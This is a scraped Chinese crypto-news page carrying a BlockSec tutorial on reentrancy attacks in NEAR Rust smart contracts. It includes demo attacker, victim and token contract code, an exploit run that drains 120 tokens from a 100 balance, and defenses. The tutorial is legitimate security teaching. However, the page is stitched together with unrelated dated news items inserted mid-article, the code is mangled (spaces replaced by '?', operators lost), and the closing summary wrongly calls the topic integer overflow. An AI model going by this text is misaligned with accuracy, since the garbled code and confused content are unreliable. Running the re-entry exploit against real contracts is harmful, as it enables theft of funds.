相关文章:
Rust智能合约养成日记合约状态数据定义与方法实现
Rust智能合约养成日记编写Rust智能合约单元测试
Rust智能合约养成日记Rust智能合约部署,函数调用及Explorer的使用
Rust智能合约养成日记Rust智能合约整数溢出
这一期中我们将向大家展示Rust合约中重入攻击,并提供给开发者相应的建议。本文中的相关代码,已上传至BlockSec的Github上,读者可以自行下载:https://github.com/blocksecteam/near_demo
我们用现实生活中的简单例子来理解重入攻击:即假设某用户在银行中存有100元现金,当用户想要从银行中取钱时,他将首先告诉柜员-A:“我想要取60元”。柜员-A此时将查询用户的余额为100元,由于该余额大于用户想要取出的数额,所以柜员-A首先将60元现金交给了该位用户。但是当柜员-A还没有来得及将用户的余额更新为40元的时,用户跑去隔壁告诉另一位柜员-B:“我想要取60元”,并隐瞒了刚才已经向柜员-A取钱的事实。由于用户的余额还没有被柜员-A更新,柜员-B检查用户的余额仍旧为100元,因此柜员-B将毫不犹豫地继续将60元交给用户。最终用户实际已经获得了120元现金,大于之前存在银行中的100元现金。
为什么会发生这样的事情呢?究其原因还是因为柜员-A没有事先将用户的60元从该用户的账户中扣除。若柜员-A能事先扣除金额。用户再询问柜员-B取钱时,柜员-B就会发现用户的余额已更新,无法取出比余额(40元)更多的现金了。
以上述“从银行取钱”这一典型过程为例,映射到具体的智能合约世界中来,实际上跨合约调用行为的发生和真正更新本地所维护的合约数据之间也同样地存在一定的时间间隔。而该时间间隔的存在以及这两个步骤之前不恰当的顺序关系,将给攻击者实施重入攻击创造有利条件。
下文第2小节将首先介绍相关的背景知识,第3小节将在NEARLocalNet中演示说明一个具体的重入攻击例子,以体现代码重入对于部署在NEAR链上的智能合约的危害性。本文最后将具体介绍针对重入攻击的防护技术,帮助大家更好的编写Rust智能合约。
交易所,充值(deposite)或者提现(withdraw)一定数额的Token时,用户便可以调用相应的合约接口完成具体的操作。
数字资产托管商Hex Trust获得迪拜虚拟资产监管局颁发的MVP许可证:11月24日消息,数字资产托管商 Hex Trust于 11 月 24 日从迪拜虚拟资产监管局 ( VARA ) 获得了最低可行产品 (MVP) 许可证。Hex Trust 现在可以提供的服务范围包括虚拟资产托管服务、经纪交易商服务和 Staking 服务。
此前币安也已获得迪拜虚拟资产监管局 (VARA) 颁发的最小可行产品 (MVP) 许可证。[2022/11/24 8:04:41]
DEX项目合约在执行所对应的接口函数时,将调用Token合约中的ft_transfer/ft_transfer_call函数,实现正式的转账操作。这两个函数的区别如下:
当调用Token合约中的ft_transfer函数时,转账的接收者(receiver_id)为EOA账户。
当调用Token合约中的ft_transfer_call函数时,转账的接收者(receiver_id)为合约账户。
而对于ft_transfer_call而言,该方法内部除了首先会扣除该笔交易发起者(sender_id)的转账数额,并增加受转账用户(receiver_id)的余额,此外还额外增加了对receiver_id合约中ft_on_transfer(收币函数)的跨合约调用。这里可以简单理解为,此时Token合约将提醒receiver_id合约,有用户存入了指定数额的Token。receiver_id合约将在ft_on_transfer函数中自行维护内部账户的余额管理。
合约A:Attacker合约;
攻击者将利用该合约实施后续的攻击交易。
合约B:Victim合约。
为一个DEX合约。初始化的时候,Attacker账户拥有余额100,DEX的其他用户拥有余额100。即此时DEX合约总共持有了200个Token。
##pub?struct?VictimContract?{??attacker_balance:?u128,??other_balance:?u128,}impl?Default?for?VictimContract?{??fn?default()?->?Self?{????Self?{??????attacker_balance:?100,??????other_balance:100???}?}}合约C:Token合约。
基于Arbitrum AnyTrust技术的主网Nova对开发人员开放:7月12日消息,Arbitrum官方博客今日宣布,第一条基于Arbitrum AnyTrust技术构建的新链Arbitrum Nova已在主网上运行,并开放供开发人员部署应用程序。今年早些时候,Arbitrum发布了AnyTrust,这是针对超低成本交易优化、更安全的新技术。随着Nova的运行,Arbitrum有两条独立的链在主网上实时运行,可支持几乎所有区块链用例。Nova将成为游戏和社交应用程序的首选解决方案,而Arbitrum One将继续覆盖DeFi和NFT项目。(Medium)[2022/7/12 2:06:47]
攻击发生前,因为Attacker账户没有从Victim合约提现,所以余额为0,此时Victim合约(DEX)的余额为100100=200;
##pub?struct?FungibleToken?{??attacker_balance:?u128,??victim_balance:?u128}impl?Default?for?FungibleToken?{??fn?default()?->?Self?{????Self?{??????attacker_balance:?0,??????victim_balance:?200???}?}
下面描述该代码重入攻击的具体流程:
Attacker合约通过malicious_call函数,调用Victim合约中的withdraw函数;
例如此时Attacker给withdraw函数传入amount参数的值为60,希望从合约B中提现60;
impl?MaliciousContract?{??pub?fn?malicious_call(&mut?self,?amount:u128){????ext_victim::withdraw(??????amount.into(),??????&VICTIM,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?????);?}...}
在合约B中,withdraw函数开头处的assert!(self.attacker_balance>=amount);`将检查Attacker账户是否有足够的余额,此时余额100>60,将通过断言,执行withdraw中后续的步骤。
动态 | 欧洲电子零售商Phone House将接受通过UTrust进行的加密支付:据The Papers 7月29日消息,欧洲电子零售商和电信供应商Phone House已与加密货币支付解决方案UTtrust合作,向客户提供加密支付。Phone House希望通过启用加密货币购买来获得更广泛的客户群。UTRUST平台允许用户使用本地代币UTK以及包括BTC、ETH在内的其他加密货币进行支付。[2019/7/29]
impl?VictimContract?{??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????//CallAttacker的收币函数????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}...}?合约B中的withdraw函数接着将调用合约C中的ft_transfer_call函数;
通过上述代码中的ext_ft_token::ft_transfer_call实现跨合约调用。
合约C中的ft_transfer_call函数,将更新attacker账户的余额=060=60,以及Victim合约账户的余额=200-60=140,随后通过ext_fungible_token_receiver::ft_on_transfer调用合约A的ft_on_transfer“收币”函数。
#impl?FungibleToken?{??pub?fn?ft_transfer_call(&mut?self,amount:?u128)->?PromiseOrValue<U128>{????//相当于internal_ft_transfer????self.attacker_balance?=?amount;????self.victim_balance???-=?amount;????//CallAttacker的收币函数????ext_fungible_token_receiver::ft_on_transfer(??????amount.into(),??????&ATTACKER,??????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?????).into()?}...}由于合约A被Attacker所控制,并且代码存在恶意的行为。所以该“恶意”的ft_on_transfer函数可以再次通过执行ext_victim::withdraw,调用合约B中的withdraw函数,以此达到重入的效果。
动态 | 区块链游戏开发商Azarus获得180万美元风投资金:据coindesk报道,区块链游戏开发商Azarus已通过Galaxy Digital旗下的Galaxy EOS VC Fund、Kleiner Perkins和SVK Crypto等几家加密风险投资机构筹集了180万美元的资金。这笔钱将资助Azarus建立其游戏网络的“智能挑战”,即一个基于EOS区块链的专有Twitch插件,允许用户通过竞争性游戏挑战获得数字资产。[2019/6/7]
#impl?MaliciousContract?{??pub?fn?ft_on_transfer(&mut?self,?amount:?u128){????//恶意合约的收币函数????if?self.reentered?==?false{??????ext_victim::withdraw(????????amount.into(),????????&VICTIM,?????????0,?????????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL???????);???}????self.reentered?=?true;?}...}由于上一次进入withdraw以来,victim合约中的attacker_balance还没有更新,所以还是100,因此此时仍旧可以通过assert!(self.attacker_balance>=amount)的检查。withdraw后续将再次在FT_Token合约中跨合约调用ft_transfer_call函数,更新attacker账户的余额=6060=120,以及Victim合约账户的余额=140-60=80;
ft_transfer_call再次调用回Attacker合约中的ft_on_transfer函数。由于目前设置合约A中ft_on_transfer函数只会重入withdraw函数一次,所以重入行为在本次ft_on_transfer的调用时终止。
此后函数将沿着之前的调用链逐级返回,导致合约B中的withdraw函数中在更新self.attacker_balance的时候,最终使得self.attacker_balance=100-60-60=-20
由于self.attacker_balance是u128,且并没有使用safe_math,因此将导致整数的溢出现象。
动态 | 朝鲜支持的Lazarus集团收购5.71亿美元加密货币:自2017年以来,已有超过8.82亿美元的加密货币从网上交易中被盗,由朝鲜政府资助的Lazarus要为大部分被盗代币负责。根据Next Web在2018年10月19日发表的一篇文章,该集团收购了超过5.71亿美元的加密货币,并将在未来继续这样做。[2018/10/22]
最终执行的结果如下:
$node?Triple_Contracts_Reentrancy.js?FinishinitNEARFinishdeploycontractsandcreatetestaccountsVictim::attacker_balance:3.402823669209385e38FT_Token::attacker_balance:120FT_Token::victim_balance:80
即尽管用户Attacker在DEX中锁定的FungibleToken余额仅100,但是最终Attacker实际获得的转账为120,实现了本次代码重入攻击的目的。
4.代码重入防护技术
4.1先更新和与状态,再转账
更改合约B代码withdraw中的执行逻辑为:
#impl?VictimContract?{??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????self.attacker_balance?-=?amount;????//CallAttacker的收币函数????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}??#??pub?fn?ft_resolve_transfer(&mut?self,?amount:?u128){????match?env::promise_result(0){??????PromiseResult::NotReady?=>?unreachable!(),??????PromiseResult::Successful(_)?=>?{?????}??????PromiseResult::Failed?=>?{???????//若ext_ft_token::ft_transfer_call跨合约调用转账失败,???????//则回滚之前账户余额状态的更新self.attacker_balance?=?amount;??????}???};?}
此时的执行效果如下:
$node?Triple_Contracts_Reentrancy.js?FinishinitNEARFinishdeploycontractsandcreatetestaccountsReceipt:873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X???Failure:Error:{"index":0,"kind":{"ExecutionError":"Smartcontractpanicked:panickedat'assertionfailed:self.attacker_balance>=amount',src/lib.rs:45:9"}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140
可见由于此时的Victim合约在withdraw的时候事先更新了用户的余额,在调用外部的FungibleToken实施转账。因此当第二次重入了withdraw的时候,Victim合约中保存的attacker_balance已经更新为40,因此将无法通过assert!(self.attacker_balance>=amount);使得Attcker的调用流程由于触发了AssertionPanic,无法利用代码重入进行套利。
4.2引入互斥锁
该方法类似于当柜员-A还没有来得及将用户的余额更新为40元的时,用户跑去隔壁告诉另一位柜员-B:“我想要取60元”。尽管用户隐瞒了刚才已经向柜员-A取钱的事实。但是柜员-B却能够知道用户已经去过柜员-A那里,并且还没有办结所有的事项,此时柜员-B便可以拒绝用户来取钱。通常情况下可以通过引入一个状态变量,来实现一个互斥锁
4.3设置GasLimit
例如在DEX合约的withdraw方法调用ext_ft_token::ft_transfer_call时,设置一个适当的GasLimit。此GasLimit将不够支持下一次代码再次重入DEX合约的withdraw函数,以此阻断重入攻击的能力。
例如对代码做如下修改,限制withdraw方法调用外部函数时的GasLimit:
??pub?fn?withdraw(&mut?self,amount:?u128)?->?Promise{????assert!(self.attacker_balance>=?amount);????//CallAttacker的收币函数????ext_ft_token::ft_transfer_call(??????amount.into(),??????&FT_TOKEN,???????0,?-???????env::prepaid_gas()?-?GAS_FOR_SINGLE_CALL?*?2???????GAS_FOR_SINGLE_CALL?*?3?????)?????.then(ext_self::ft_resolve_transfer(????????amount.into(),???????&env::current_account_id(),????????0,????????GAS_FOR_SINGLE_CALL,?????))?}
修改后执行效果如下
$node?Triple_Contracts_Reentrancy.jsFinishinitNEARFinishdeploycontractsandcreatetestaccountsReceipt:5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX???Failure:Error:{"index":0,"kind":{"ExecutionError":"Exceededtheprepaidgas."}}Victim::attacker_balance:40FT_Token::attacker_balance:60FT_Token::victim_balance:140
可见限制跨合约函数调用时的GasLimit也能起到防止重入攻击的效果。
本期总结和预告
这一期我们讲述了rust智能合约中的整数溢出问题,同时给出了建议,在书写代码时尽量先更新状态,再执行转账操作,并且设定合适的gas值,可以有效抵御重入攻击,下一期我们将讲述rust智能合约中的DoS问题,敬请关注。
尊敬的中币用户:ZB合约系统升级已完成,单向持仓正式上线。平台现已恢复USDT永续合约交易,您现在可以进行撤单、充值、提现等操作。请您将ZBAPP升级到V5.8.5版本体验单向持仓.
1900/1/1 0:00:00空投奖励NATIERC20token以邀请TiENWORLD元界社区的新用户,其中20亿个NATItoken中的85%已准备好供用户在TiENWORLD元界平台内玩耍和赚取.
1900/1/1 0:00:00原文作者:@arikan原文编译:DeFi之道开放去中心化互联网的承诺正在受到第一代加密网络比特币、以太坊及其变体的性能、可用性和能源效率问题的挑战.
1900/1/1 0:00:00什么是订单簿?订单簿是按照价格水平组织排列,展示特定资产买卖订单的电子列表。买卖双方的利益将通过订单簿呈现。订单簿实时显示特定资产的未结订单列表,体现买卖双方的动态关联.
1900/1/1 0:00:00尊敬的AAX用戶:AAX於2022年3月11日17:00-2022年3月18日17:00(UTC8)舉辦的“第六期合約交易大賽,交易BTC/ETH/XRP合約.
1900/1/1 0:00:00亲爱的大币网(Dcoin)用户:LOKA将上线大币网(Dcoin),具体时间安排如下,邀请您体验!3月30日15:00(GMT8)开放充值3月31日15:00(GMT8)LOKA/USDT4月0.
1900/1/1 0:00:00